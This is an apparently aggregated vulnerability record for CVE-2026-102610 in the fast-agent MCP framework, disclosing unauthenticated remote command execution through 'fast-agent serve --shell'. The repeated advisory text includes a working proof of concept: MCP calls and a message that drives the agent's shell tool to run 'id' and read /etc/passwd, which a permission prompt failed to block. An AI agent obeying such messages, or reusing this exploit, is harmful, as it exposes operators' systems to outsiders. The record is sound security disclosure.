{"id":"CVE-2026-102610","aliases":["EUVD-2026-118496","GHSA-9vhv-g5hf-m7m7"],"status":"published","title":"fast-agent: `fast-agent serve` binds HTTP to 0.0.0.0 with no authentication by default; with --shell this is unauthenticated remote command execution","description":"fast-agent is a framework for building, running, and evaluating AI agents with Model Context Protocol support. Prior to 0.7.21, fast-agent serve uses HTTP transport bound to 0.0.0.0 on port 8000 without authentication, allowing any network client that can reach the /mcp endpoint to invoke the exposed agent tool. When the server is started with --shell, the agent can call the local execute tool implemented by tools/local_shell_executor.py, so an unauthenticated remote client can cause operating-system commands to run as the server user; without --shell, the client can still consume the operator's model and configured MCP tools. The defaults are defined in cli/commands/serve.py and mcp/server/agent_server.py, and the non-interactive server permission prompt does not prevent the described access. This issue is fixed in version 0.7.21.","severity":{"version":"3.1","score":6.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:H","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00291,"percentile":0.21967,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-306","CWE-78"],"published":"2026-11-06T20:55:55Z","modified":"2026-11-09T22:43:08Z","fixes":[{"ecosystem":"PyPI","package":"fast-agent-mcp","fixed_in":["0.7.21"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"fast-agent-mcp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"0.7.20"},{"fixed":"0.7.21"}]}]},{"source":"osv","ecosystem":"PyPI","package":"fast-agent-mcp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.7.21"}]}],"versions":["0.0.11","0.0.12","0.0.13","0.0.14","0.0.15","0.0.16","0.0.7","0.0.8","0.0.9","0.1.0","0.1.1","0.1.10","0.1.11","0.1.12","0.1.13","0.1.2","0.1.3","0.1.4","0.1.5","0.1.6","0.1.7","0.1.8","0.1.9","0.2.0","0.2.1","0.2.10","0.2.11","0.2.12","0.2.13","0.2.14","0.2.16","0.2.17","0.2.18","0.2.19","0.2.2","0.2.20","0.2.21","0.2.22","0.2.23","0.2.24","0.2.25","0.2.26","0.2.27","0.2.28","0.2.29","0.2.3","0.2.30","0.2.31","0.2.32","0.2.33","0.2.34","0.2.35","0.2.36","0.2.37","0.2.38","0.2.39","0.2.4","0.2.40","0.2.41","0.2.42","0.2.43","0.2.44","0.2.45","0.2.46","0.2.47","0.2.48","0.2.49","0.2.5","0.2.50","0.2.51","0.2.52","0.2.53","0.2.54","0.2.55","0.2.56","0.2.57","0.2.58","0.2.6","0.2.7","0.2.8","0.2.9","0.3.0","0.3.1","0.3.10","0.3.11","0.3.12","0.3.13","0.3.14","0.3.15","0.3.16","0.3.17","0.3.18","0.3.19","0.3.2","0.3.20","0.3.21","0.3.22","0.3.23","0.3.24","0.3.25","0.3.26","0.3.27","0.3.28","0.3.29","0.3.3","0.3.4","0.3.5","0.3.6","0.3.7","0.3.8","0.3.9","0.4.0","0.4.1","0.4.10","0.4.11","0.4.12","0.4.13","0.4.14","0.4.15","0.4.16","0.4.17","0.4.18","0.4.19","0.4.2","0.4.20","0.4.21","0.4.22","0.4.23","0.4.24","0.4.25","0.4.26","0.4.27","0.4.28","0.4.29","0.4.3","0.4.30","0.4.31","0.4.32","0.4.33","0.4.34","0.4.35","0.4.36","0.4.37","0.4.38","0.4.39","0.4.4","0.4.40","0.4.41","0.4.42","0.4.43","0.4.44","0.4.45","0.4.46","0.4.47","0.4.48","0.4.49","0.4.5","0.4.50","0.4.51","0.4.52","0.4.53","0.4.54","0.4.55","0.4.56","0.4.6","0.4.7","0.4.8","0.4.9","0.5.0","0.5.1","0.5.10","0.5.11","0.5.2","0.5.3","0.5.4","0.5.5","0.5.6","0.5.7","0.5.8","0.5.9","0.6.0","0.6.1","0.6.10","0.6.11","0.6.12","0.6.13","0.6.14","0.6.15","0.6.16","0.6.17","0.6.18","0.6.19","0.6.2","0.6.20","0.6.21","0.6.22","0.6.23","0.6.24","0.6.25","0.6.26","0.6.3","0.6.4","0.6.5","0.6.6","0.6.7","0.6.8","0.6.9","0.7.0","0.7.1","0.7.10","0.7.11","0.7.12","0.7.13","0.7.14","0.7.15","0.7.16","0.7.17","0.7.18","0.7.19","0.7.2","0.7.20","0.7.3","0.7.4","0.7.5","0.7.6","0.7.7","0.7.8","0.7.9"]}],"products":[{"vendor":"evalstate","product":"fast-agent"}],"references":[{"url":"https://github.com/evalstate/fast-agent/security/advisories/GHSA-9vhv-g5hf-m7m7","tags":["x_refsource_CONFIRM","advisory","web"]},{"url":"https://github.com/evalstate/fast-agent/pull/828","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/evalstate/fast-agent/commit/ba99f89c3ec7f1ef1c8b1ebce381c12b60dfea29","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/evalstate/fast-agent/releases/tag/v0.7.21","tags":["x_refsource_MISC","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102610","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-9vhv-g5hf-m7m7"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/102xxx/CVE-2026-102610.json","tags":["advisory"]},{"url":"https://github.com/evalstate/fast-agent","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-102610","title":"fast-agent: `fast-agent serve` binds HTTP to 0.0.0.0 with no authentication by default; with --shell this is unauthenticated remote command execution","description":"fast-agent is a framework for building, running, and evaluating AI agents with Model Context Protocol support. Prior to 0.7.21, fast-agent serve uses HTTP transport bound to 0.0.0.0 on port 8000 without authentication, allowing any network client that can reach the /mcp endpoint to invoke the exposed agent tool. When the server is started with --shell, the agent can call the local execute tool implemented by tools/local_shell_executor.py, so an unauthenticated remote client can cause operating-system commands to run as the server user; without --shell, the client can still consume the operator's model and configured MCP tools. The defaults are defined in cli/commands/serve.py and mcp/server/agent_server.py, and the non-interactive server permission prompt does not prevent the described access. This issue is fixed in version 0.7.21.","status":"published","published":"2026-11-06T20:55:55.852Z","modified":"2026-11-09T22:43:08.591Z","cvss":[{"version":"3.1","score":6.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:H","level":"medium","assessor":"cna"}],"cwes":["CWE-78","CWE-306"],"updated_at":"2026-11-06T21:31:06.649526Z"}],"euvd":[{"id":"EUVD-2026-118496","description":"fast-agent is a framework for building, running, and evaluating AI agents with Model Context Protocol support. Prior to 0.7.21, fast-agent serve uses HTTP transport bound to 0.0.0.0 on port 8000 without authentication, allowing any network client that can reach the /mcp endpoint to invoke the exposed agent tool. When the server is started with --shell, the agent can call the local execute tool implemented by tools/local_shell_executor.py, so an unauthenticated remote client can cause operating-system commands to run as the server user; without --shell, the client can still consume the operator's model and configured MCP tools. The defaults are defined in cli/commands/serve.py and mcp/server/agent_server.py, and the non-interactive server permission prompt does not prevent the described access. This issue is fixed in version 0.7.21.","status":"published","published":"2026-11-06T20:55:55Z","modified":"2026-11-09T22:43:08Z","cvss":[{"version":"3.1","score":6.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:H","level":"medium"}],"updated_at":"2026-11-10T00:18:44.022381Z"}],"ghsa":[{"id":"GHSA-9vhv-g5hf-m7m7","title":"fast-agent: `fast-agent serve` binds HTTP to 0.0.0.0 with no authentication by default; with --shell this is unauthenticated remote command execution","description":"## Summary\n`fast-agent serve` exposes the agent over MCP. By default it uses HTTP transport bound to `0.0.0.0` (all interfaces) on port 8000 with **no authentication** (`auth=None`) and prints no warning. Any host that can reach the port can call the exposed `agent` tool. When the server is started with `--shell` (which is `-x`, the flag used in the README quickstart `uvx fast-agent mcp@latest -x`), the agent has a local `execute` shell tool, so an unauthenticated remote client can drive the agent into running arbitrary OS commands — unauthenticated RCE.\n\n## Affected code\n- `cli/commands/serve.py` — transport defaults to HTTP; `--host` defaults to `0.0.0.0`; port 8000.\n- `mcp/server/agent_server.py` — `auth_provider = None` unless `FAST_AGENT_SERVE_OAUTH=huggingface`;\n  `run_async(transport=\"http\", host=host, ...)` with `host` defaulting to `0.0.0.0`.\n- `tools/local_shell_executor.py` — the shell tool runs commands via `create_subprocess_shell`.\n\n## Verified (live, faithful — published 0.7.20 in Docker python:3.13-slim, stock unauthenticated client)\n1) Unauthenticated exposure (core defect): a client with no Authorization header completed\n   `initialize` and `tools/list` (-\u003e `['agent']`) against `http://HOST:8000/mcp`. Model-independent.\n2) Unauthenticated RCE with `--shell`, demonstrated two ways:\n   - Real production model (`gpt-4o-mini`): a single plain-language message asking the agent to run\n     a command via its shell tool -\u003e the model autonomously called `execute` and the command output\n     (process identity showing it ran as root, the hostname, and the first lines of a sensitive\n     system file) was returned to the unauthenticated caller.\n   - Key-free deterministic (`passthrough` model): the tool-call directive invoked the shell tool\n     directly, same result.\n   The server-side permission prompt did not block this in non-interactive serve mode.\n\n## Proof of concept\nEnvironment: Docker `python:3.13-slim`, `pip install fast-agent-mcp` -\u003e 0.7.20.\n\n```\n# server (real model + the documented shell flag; 0.0.0.0 is also the built-in default)\nOPENAI_API_KEY=*** fast-agent serve --model gpt-4o-mini --shell --host 0.0.0.0 --port 8000\n#  -\u003e \"Uvicorn running on http://0.0.0.0:8000\"   (no auth, no warning)\n\n# attacker: unauthenticated MCP HTTP client (NO Authorization header) to http://HOST:8000/mcp\n#   initialize()                       -\u003e 200 OK (server fast-agent-MCP-Server 0.7.20)\n#   tools/list                         -\u003e ['agent']\n#   tools/call name=\"agent\" arguments={\"message\":\n#       \"Using your execute/shell tool, run exactly this command and return its raw stdout: \"\n#       \"id; echo PWNED=$(hostname); cat /etc/passwd | head -2\"}\n#\n# response returned to the UNAUTHENTICATED caller:\n#   uid=0(root) gid=0(root) groups=0(root)\n#   PWNED=\u003chost\u003e\n#   \u003cfirst lines of /etc/passwd\u003e\n```\nAlso reproduced key-free with `--model passthrough` and the message `***CALL_TOOL execute {\"command\":\"id\"}` (passthrough invokes the tool deterministically). Full transcript + client scripts were sent by email.\n\n## Impact\nAn unauthenticated client that can reach the serve port controls the agent: with `--shell` this is remote command execution as the server user; without `--shell` it is unauthenticated use of the operator's LLM and any configured MCP servers' tools. The `0.0.0.0` default makes the server reachable beyond localhost as soon as it runs on a non-isolated host. Preconditions (serve + shell) are noted above and are why I defer the exact rating to you.\n\n## Remediation\n1. Default the bind host to `127.0.0.1`; require an explicit `--host 0.0.0.0` opt-in for non-loopback.\n2. Print a loud warning when binding a non-loopback interface without authentication.","status":"published","published":"2026-11-09T22:01:34Z","modified":"2026-11-09T22:01:37Z","cvss":[{"version":"3.1","score":6.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:H","level":"medium"}],"cwes":["CWE-78","CWE-306"],"updated_at":"2026-11-09T22:20:10.289641Z"}],"nvd":[{"id":"CVE-2026-102610","description":"fast-agent is a framework for building, running, and evaluating AI agents with Model Context Protocol support. Prior to 0.7.21, fast-agent serve uses HTTP transport bound to 0.0.0.0 on port 8000 without authentication, allowing any network client that can reach the /mcp endpoint to invoke the exposed agent tool. When the server is started with --shell, the agent can call the local execute tool implemented by tools/local_shell_executor.py, so an unauthenticated remote client can cause operating-system commands to run as the server user; without --shell, the client can still consume the operator's model and configured MCP tools. The defaults are defined in cli/commands/serve.py and mcp/server/agent_server.py, and the non-interactive server permission prompt does not prevent the described access. This issue is fixed in version 0.7.21.","status":"published","published":"2026-11-06T21:17:05.677Z","modified":"2026-11-09T23:17:10.513Z","cvss":[{"version":"3.1","score":6.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:H","level":"medium","assessor":"secondary"}],"cwes":["CWE-78","CWE-306"],"updated_at":"2026-11-07T00:02:36.552517Z"}],"osv":[{"id":"CVE-2026-102610","title":"fast-agent: `fast-agent serve` binds HTTP to 0.0.0.0 with no authentication by default; with --shell this is unauthenticated remote command execution","description":"fast-agent is a framework for building, running, and evaluating AI agents with Model Context Protocol support. Prior to 0.7.21, fast-agent serve uses HTTP transport bound to 0.0.0.0 on port 8000 without authentication, allowing any network client that can reach the /mcp endpoint to invoke the exposed agent tool. When the server is started with --shell, the agent can call the local execute tool implemented by tools/local_shell_executor.py, so an unauthenticated remote client can cause operating-system commands to run as the server user; without --shell, the client can still consume the operator's model and configured MCP tools. The defaults are defined in cli/commands/serve.py and mcp/server/agent_server.py, and the non-interactive server permission prompt does not prevent the described access. This issue is fixed in version 0.7.21.","status":"published","published":"2026-11-06T20:55:55.852Z","modified":"2026-11-11T02:30:26.021708122Z","cvss":[{"version":"3.1","score":6.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:H","level":"medium"}],"cwes":["CWE-306","CWE-78"],"updated_at":"2026-11-08T02:57:19.626258Z"},{"id":"GHSA-9vhv-g5hf-m7m7","title":"fast-agent: `fast-agent serve` binds HTTP to 0.0.0.0 with no authentication by default; with --shell this is unauthenticated remote command execution","description":"## Summary\n`fast-agent serve` exposes the agent over MCP. By default it uses HTTP transport bound to `0.0.0.0` (all interfaces) on port 8000 with **no authentication** (`auth=None`) and prints no warning. Any host that can reach the port can call the exposed `agent` tool. When the server is started with `--shell` (which is `-x`, the flag used in the README quickstart `uvx fast-agent mcp@latest -x`), the agent has a local `execute` shell tool, so an unauthenticated remote client can drive the agent into running arbitrary OS commands — unauthenticated RCE.\n\n## Affected code\n- `cli/commands/serve.py` — transport defaults to HTTP; `--host` defaults to `0.0.0.0`; port 8000.\n- `mcp/server/agent_server.py` — `auth_provider = None` unless `FAST_AGENT_SERVE_OAUTH=huggingface`;\n  `run_async(transport=\"http\", host=host, ...)` with `host` defaulting to `0.0.0.0`.\n- `tools/local_shell_executor.py` — the shell tool runs commands via `create_subprocess_shell`.\n\n## Verified (live, faithful — published 0.7.20 in Docker python:3.13-slim, stock unauthenticated client)\n1) Unauthenticated exposure (core defect): a client with no Authorization header completed\n   `initialize` and `tools/list` (-\u003e `['agent']`) against `http://HOST:8000/mcp`. Model-independent.\n2) Unauthenticated RCE with `--shell`, demonstrated two ways:\n   - Real production model (`gpt-4o-mini`): a single plain-language message asking the agent to run\n     a command via its shell tool -\u003e the model autonomously called `execute` and the command output\n     (process identity showing it ran as root, the hostname, and the first lines of a sensitive\n     system file) was returned to the unauthenticated caller.\n   - Key-free deterministic (`passthrough` model): the tool-call directive invoked the shell tool\n     directly, same result.\n   The server-side permission prompt did not block this in non-interactive serve mode.\n\n## Proof of concept\nEnvironment: Docker `python:3.13-slim`, `pip install fast-agent-mcp` -\u003e 0.7.20.\n\n```\n# server (real model + the documented shell flag; 0.0.0.0 is also the built-in default)\nOPENAI_API_KEY=*** fast-agent serve --model gpt-4o-mini --shell --host 0.0.0.0 --port 8000\n#  -\u003e \"Uvicorn running on http://0.0.0.0:8000\"   (no auth, no warning)\n\n# attacker: unauthenticated MCP HTTP client (NO Authorization header) to http://HOST:8000/mcp\n#   initialize()                       -\u003e 200 OK (server fast-agent-MCP-Server 0.7.20)\n#   tools/list                         -\u003e ['agent']\n#   tools/call name=\"agent\" arguments={\"message\":\n#       \"Using your execute/shell tool, run exactly this command and return its raw stdout: \"\n#       \"id; echo PWNED=$(hostname); cat /etc/passwd | head -2\"}\n#\n# response returned to the UNAUTHENTICATED caller:\n#   uid=0(root) gid=0(root) groups=0(root)\n#   PWNED=\u003chost\u003e\n#   \u003cfirst lines of /etc/passwd\u003e\n```\nAlso reproduced key-free with `--model passthrough` and the message `***CALL_TOOL execute {\"command\":\"id\"}` (passthrough invokes the tool deterministically). Full transcript + client scripts were sent by email.\n\n## Impact\nAn unauthenticated client that can reach the serve port controls the agent: with `--shell` this is remote command execution as the server user; without `--shell` it is unauthenticated use of the operator's LLM and any configured MCP servers' tools. The `0.0.0.0` default makes the server reachable beyond localhost as soon as it runs on a non-isolated host. Preconditions (serve + shell) are noted above and are why I defer the exact rating to you.\n\n## Remediation\n1. Default the bind host to `127.0.0.1`; require an explicit `--host 0.0.0.0` opt-in for non-loopback.\n2. Print a loud warning when binding a non-loopback interface without authentication.","status":"published","published":"2026-11-09T22:01:34Z","modified":"2026-11-09T22:15:03.934503873Z","cvss":[{"version":"3.1","score":6.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:H","level":"medium"}],"cwes":["CWE-306","CWE-78"],"updated_at":"2026-11-09T22:41:08.537457Z"}]}}